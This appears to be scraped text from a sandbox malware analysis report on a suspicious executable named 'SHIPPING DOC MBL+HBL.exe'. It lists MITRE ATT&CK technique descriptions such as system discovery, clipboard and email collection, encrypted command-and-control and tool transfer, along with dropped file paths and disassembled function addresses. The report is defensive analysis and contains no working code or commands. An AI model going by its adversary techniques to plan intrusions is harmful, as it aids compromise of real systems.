Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SHIPPING DOC MBL+HBL.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\1m0Sa73J8

C:\Users\user\AppData\Local\Temp\Ramada

C:\Users\user\AppData\Local\Temp\aut490B.tmp

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
SHIPPING DOC MBL+HBL.exe

Function 00E03B4C Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153
windowCOMMON

Function 00E04FE9 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 62
COMMON

Function 00E04AFE Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Function 00E691FE Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Function 00E03025 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 67
windowregistryCOMMON

Function 00E03041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Function 00E071EB Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 00E03633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowtimeregistryCOMMON

Function 00E03A58 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Function 00E03778 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267
COMMON

Function 00E0F8CF Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168
comCOMMON

Function 00FE9DD8 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 00E039E7 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 00FE9B98 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 150
fileCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre